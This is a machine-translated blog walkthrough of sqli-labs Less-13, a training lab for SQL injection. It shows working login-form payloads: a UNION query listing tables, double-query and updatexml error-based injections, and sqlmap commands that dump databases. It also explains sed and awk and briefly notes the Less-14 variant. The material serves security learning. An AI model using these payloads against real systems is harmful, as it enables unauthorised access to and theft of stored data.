当前位置:网站首页>sqlilabs less13
sqlilabs less13
2022-07-01 14:06:00 【It's always late at night.】
Manual and script

Obviously , Accurate error reporting gives us what we want .
Structure below SQL sentence
select * from table where uname = ('') and password = ('')
When querying the table, it is found that there is no return , Only successful login
1') union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #

When constructing statements, it seems that error injection can be used 
1') union select count(*),concat((select table_name from information_schema.tables where table_schema=database()limit 0,1),floor(rand()*2))a from information_schema.tables group by a#
By modifying the limit n,1 Of n To query different rows
Because this double injection is random , It may take several times to succeed 
The field name and data are the same , You can consider burp suite Or write a script .

Um. , To explain awk sed tr Work
awk -F Separator ( such as “ > ”) With > Separator , From the beginning to the first separator > by 1, From the first > To the second is 2…… {print$n} n It's No n individual 1 It's from the beginning to the first separator
tr a b It's a a Replace with b
sed ‘s/a/b/g’ s Is an alternative hold a Replace with b g yes s A mark in the replace command is used to replace all a, If not g Just replace the first a
‘s/(.*),/\1,/’ Will find the last , Replace empty Why?
because . Is to match a single character other than newline , , Add the following single characters 
Is to repeat the previous match N Time or 0 Time Because the first time was , really Repeat it again , A single character after true , splendid Because of repetition N So , All the back ( Except for line breaks ) All can match 
So we give . Parentheses indicate the beginning and end of the subexpression Because there is no limit, the match is all 
Then if I'm (.*) After adding an English comma, it becomes the part with an English comma at the end of the match 
Is it possible to replace the last English comma Try it on the computer !
You can see that the English comma and all the characters before it are replaced , Because there is an English comma at the end of the first two lines, the whole line is replaced by an exclamation point , At the end of the third line is a string of characters, so only the English comma is replaced with an exclamation point . Why is that wrong . Think carefully , It matches the last English comma and all before it , What if I replace the matching with the matching ( Be careful \1 Will capture the first () Specified characters in \2 It's the second one () Internal )
Is the last English comma gone
Another example 
Put the in brackets ab Plus the outside c That is to say abc( Note that there is no g, So only replace the first abc) Replace with \1 The character in the first parenthesis quoted ab, Use \2 Well , Is to put the first abc Replace with c
It is recommended to do it yourself to strengthen understanding
Based on error
Prophase structure sql Statement typing database The accidental discovery of wrong time may also have error based injection 
1') and updatexml(1,(concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)#

sqlmap
Grab the package first and then save it in a text file Use
sqlmap -r xx.txt

And then use -dbs 、-D database_name -tables and -D database_name -T table_name --dump
less-14
less14 and less13 Empathy sql The sentence has changed from English single quotation marks with parentheses to English double quotation marks 
边栏推荐
- 【商业终端仿真解决方案】上海道宁为您带来Georgia介绍、试用、教程
- 小程序-小程序图表库(F2图表库)
- 那个很努力的学生,高考失败了……别慌!你还有一次逆袭机会!
- Uni app realizes advertisement scroll bar
- 8款最佳实践,保护你的 IaC 安全!
- Solution to 0xc000007b error when running the game [easy to understand]
- In depth cooperation | Taosi data cooperates with changhongjia Huawei customers in China to provide tdengine with powerful enterprise level products and perfect service guarantee
- 【R语言数据科学】:机器学习常见评估指标
- Use of Oracle database objects
- 2022年PMP项目管理考试敏捷知识点(6)
猜你喜欢

既不是研发顶尖高手,也不是销售大牛,为何偏偏获得 2 万 RMB 的首个涛思文化奖?

Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its

我们该如何保护自己的密码?

"National defense seven sons" funding soared, with Tsinghua reaching 36.2 billion yuan, ranking second with 10.1 billion yuan. The 2022 budget of national colleges and universities was made public

日志中打印统计信息的方案

Use of Oracle database objects

App自动化测试开元平台Appium-runner

进入前六!博云在中国云管理软件市场销量排行持续上升

Etcd summary mechanism and usage scenarios
![[commercial terminal simulation solution] Shanghai daoning brings you Georgia introduction, trial and tutorial](/img/44/b65aaf11b1e632f2dab55b6fc699f6.jpg)
[commercial terminal simulation solution] Shanghai daoning brings you Georgia introduction, trial and tutorial
随机推荐
"National defense seven sons" funding soared, with Tsinghua reaching 36.2 billion yuan, ranking second with 10.1 billion yuan. The 2022 budget of national colleges and universities was made public
Force deduction solution summary 241- design priority for operation expression
深度合作 | 涛思数据携手长虹佳华为中国区客户提供 TDengine 强大企业级产品与完善服务保障
App自动化测试开元平台Appium-runner
2. Sensor size "recommended collection"
介绍一种对 SAP GUI 里的收藏夹事务码管理工具增强的实现方案
Introduction to distributed transactions (Seata)
El form item regular verification
清华章毓晋老师新书:2D视觉系统和图像技术(文末送5本)
Etcd 概要 机制 和使用场景
2022. Let me take you from getting started to mastering jetpack architecture components - lifecycle
04 redis source code data structure dictionary
Six years of technology iteration, challenges and exploration of Alibaba's globalization and compliance
[anwangbei 2021] Rev WP
C language course design topic
3.4 data query in introduction to database system - select (single table query, connection query, nested query, set query, multi table query)
When you really learn databinding, you will find "this thing is really fragrant"!
MySQL log
基于算力驱动、数据与功能协同的分布式动态(协同)渲染/功能运行时
el-form-item 正则验证